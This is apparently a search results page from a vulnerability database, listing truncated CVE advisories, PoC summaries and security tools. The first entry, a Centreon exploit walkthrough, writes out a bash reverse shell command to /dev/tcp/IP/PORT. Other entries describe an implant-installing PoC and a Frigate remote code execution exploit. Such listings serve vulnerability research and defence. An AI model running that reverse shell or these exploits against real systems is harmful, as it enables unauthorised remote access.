13018 matches found
CVE-2019-19699
CVE-2019-19699 Centreon = Commands Miscellaneous Proceed by clicking Add as shown in the image below. We now create a bash reverse shell as our Miscellaneous command !/bin/bash bash -i & /dev/tcp/IP/PORT 0&1 And click Save Now we navigate to Configuration Pollers and proceed by clicking on our...
CVE-2023-20198
CVE-2023-20198 CVE-2023-20198 PoC ! Description perform actions on a target web server. The script demonstrates how to create a local user account, install an implant, restart the web server, check for the presence of the implant, and finally, clean up by deleting the created user account...
kalitorify
Transparent Proxy through Tor for Kali Linux About kalitorify kalitorify is a shell script for Kali Linux which use iptables settings to create a Transparent Proxy through the Tor Network , the program also allows you to perform various checks like checking the Tor Exit Node i.e. your public IP...
microctfs
microctfs Small CTF challenges running on Docker logviewer Build and Start logviewer challenge exposed on port 8000 cd logviewer docker build -t logviewer . docker run -d -p 8000:80 --name logchallenge logviewer Restart logviewer challenge docker rm -f logchallenge && docker run -d -p 8000:80...
needrestart
needrestart 소개 needrestart 는 라이브러리 업그레이드 후 재시작이 필요한 데몬을 확인합니다. debian-goodies 패키지의 checkrestart 에서 영감을 받았습니다. ex/ 디렉토리에 일부 후크 스크립트가 있습니다 apt 및 dpkg 와 함께 사용하도록. 이 스크립트는 패키지 설치/업그레이드 후 needrestart 를 호출합니다. needrestart 는 GNU/Linux에서 작동해야 합니다. /proc//maps가 제거된 파일 링크를 표시하지 않으므로 GNU/kFreeBSD에서는 기능이...
BIT-RABBITMQ-2026-66075 RabbitMQ: Monitoring-tag user can restart federation links
RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.1, isauthorized/2 for the /federation-links/.../restart route uses isauthorizedmonitor accepts the monitoring tag, while allowedmethods permits DELETE and deleteresource/2 triggers...
CVE-2025-47176
CVE-2025-47176 PoC 브라우저 브리지 설명 이 개념 증명PoC은 CVE-2025-47176 취약점 시뮬레이션을 보여줍니다. 악성 동기화 경로가 포함된 조작된 메일 항목을 Outlook에 주입하여 스캔 중 작업을 트리거합니다. 중요: 이 PoC는 취약한 Outlook 경로 구문 분석을 시뮬레이션하며, 악성 경로가 감지되면 시스템 재시작 을 트리거합니다. malicious.prf를 사용한 추가 테스트 조작된 Outlook 프로필 파일malicious.prf을 가져와 이 PoC를 테스트할 수도 있습니다: 1...
SUSE CVE-2026-67233
RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.1, The shovel management resource's isauthorized/2 delegates to rabbitmgmtutil:isauthorizedmonitor/2, which accepts the monitoring tag. But allowedmethods includes DELETE, and deleteresource/2...
DEBIAN-CVE-2026-97574
In the Linux kernel, the following vulnerability has been resolved: bnxten: Don't free the live ring's TPA state on queue restart failure bnxtqueuememalloc shallow copies the live RX ring into the clone: memcpyclone, rxr, sizeofrxr; the code currently clears pointers that the clone owns such as...
CVE-2026-97574
In the Linux kernel, the following vulnerability has been resolved: bnxten: Don't free the live ring's TPA state on queue restart failure bnxtqueuememalloc shallow copies the live RX ring into the clone: memcpyclone, rxr, sizeofrxr; the code currently clears pointers that the clone owns such as...
UBUNTU-CVE-2026-97574
In the Linux kernel, the following vulnerability has been resolved: bnxten: Don't free the live ring's TPA state on queue restart failure bnxtqueuememalloc shallow copies the live RX ring into the clone: memcpyclone, rxr, sizeofrxr; the code currently clears pointers that the clone owns such as...
CVE-2026-97574
The Linux kernel contains a vulnerability in the bnxt_en driver where the bnxt_queue_mem_alloc() function performs a shallow copy of the live RX ring into a clone. Because the rx_tpa and rx_tpa_idx_map pointers are not cleared during this copy, they continue to point to the memory of the live rin...
CVE-2026-97574 bnxt_en: Don't free the live ring's TPA state on queue restart failure
In the Linux kernel, the following vulnerability has been resolved: bnxten: Don't free the live ring's TPA state on queue restart failure bnxtqueuememalloc shallow copies the live RX ring into the clone: memcpyclone, rxr, sizeofrxr; the code currently clears pointers that the clone owns such as...
CVE-2026-97574
In the Linux kernel, the following vulnerability has been resolved: bnxten: Don't free the live ring's TPA state on queue restart failure bnxtqueuememalloc shallow copies the live RX ring into the clone: memcpyclone, rxr, sizeofrxr; the code currently clears pointers that the clone owns such as...
EUVD-2026-86882
In the Linux kernel, the following vulnerability has been resolved: bnxten: Don't free the live ring's TPA state on queue restart failure bnxtqueuememalloc shallow copies the live RX ring into the clone: memcpyclone, rxr, sizeofrxr; the code currently clears pointers that the clone owns such as...
CVE-2026-25643
Frigate NVR ≤ 0.16.3 블라인드 RCE 익스플로잇 CVE-2026-25643 PoC 📜 설명 이 Python 익스플로잇은 Frigate NVR 0.16.3 이하 버전의 중요한 구성 조작 취약점인증된 경로 및 인증되지 않은 경로 모두을 대상으로 합니다. 악성 go2rtc 스트림과 가짜 카메라 항목을 주입하여 서비스 재시작 중 Frigate 프로세스로 임의 명령 실행을 트리거합니다 — 리버스 셸이나 출력 캡처가 필요하지 않습니다. 🛠️ 설치 !NOTE 프로젝트 종속성을 위한 깨끗하고 격리된 환경을 보장하려면...
MAL-002
MAL-002: 설치된 Windows MSI를 통한 시스템 강제 재시작 시스템에 소프트웨어가 성공적으로 설치되면 하나 이상의 신뢰할 수 있는 MSI 파일이 “C:\Windows\Installer” 폴더에 나타나며, 낮은 권한의 사용자가 UAC를 요구하지 않고 “NT Authority\System” 사용자로 “복구” 및/또는 “수정” 작업을 수행할 수 있게 됩니다. 공격자가 “msiexec.exe” 프로그램을 “/forcerestart” 플래그와 함께 사용하여 “복구” 작업을 성공적으로 수행하면 대상 시스템이 재시작됩니다. 참고...
CVE-2026-97574
In the Linux kernel, the following vulnerability has been resolved: bnxten: Don't free the live ring's TPA state on queue restart failure bnxtqueuememalloc shallow copies the live RX ring into the clone: memcpyclone, rxr, sizeofrxr; the code currently clears pointers that the clone owns such as...
Apache-CVE-2026-23918-fix
Apache HTTP Server: http2: 조기 리셋 시 이중 해제 및 잠재적 RCE CVE-2026-23918. Apache HTTP Server의 HTTP/2 프로토콜에서 이중 해제 및 잠재적 RCE 취약점이 발생합니다. 이 문제는 Apache HTTP Server 2.4.66에 영향을 미칩니다. 사용자는 이 문제를 해결한 버전 2.4.67로 업그레이드하는 것이 좋습니다...
SUSE CVE-2026-66075
RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.1, isauthorized/2 for the /federation-links/.../restart route uses isauthorizedmonitor accepts the monitoring tag, while allowedmethods permits DELETE and deleteresource/2 triggers...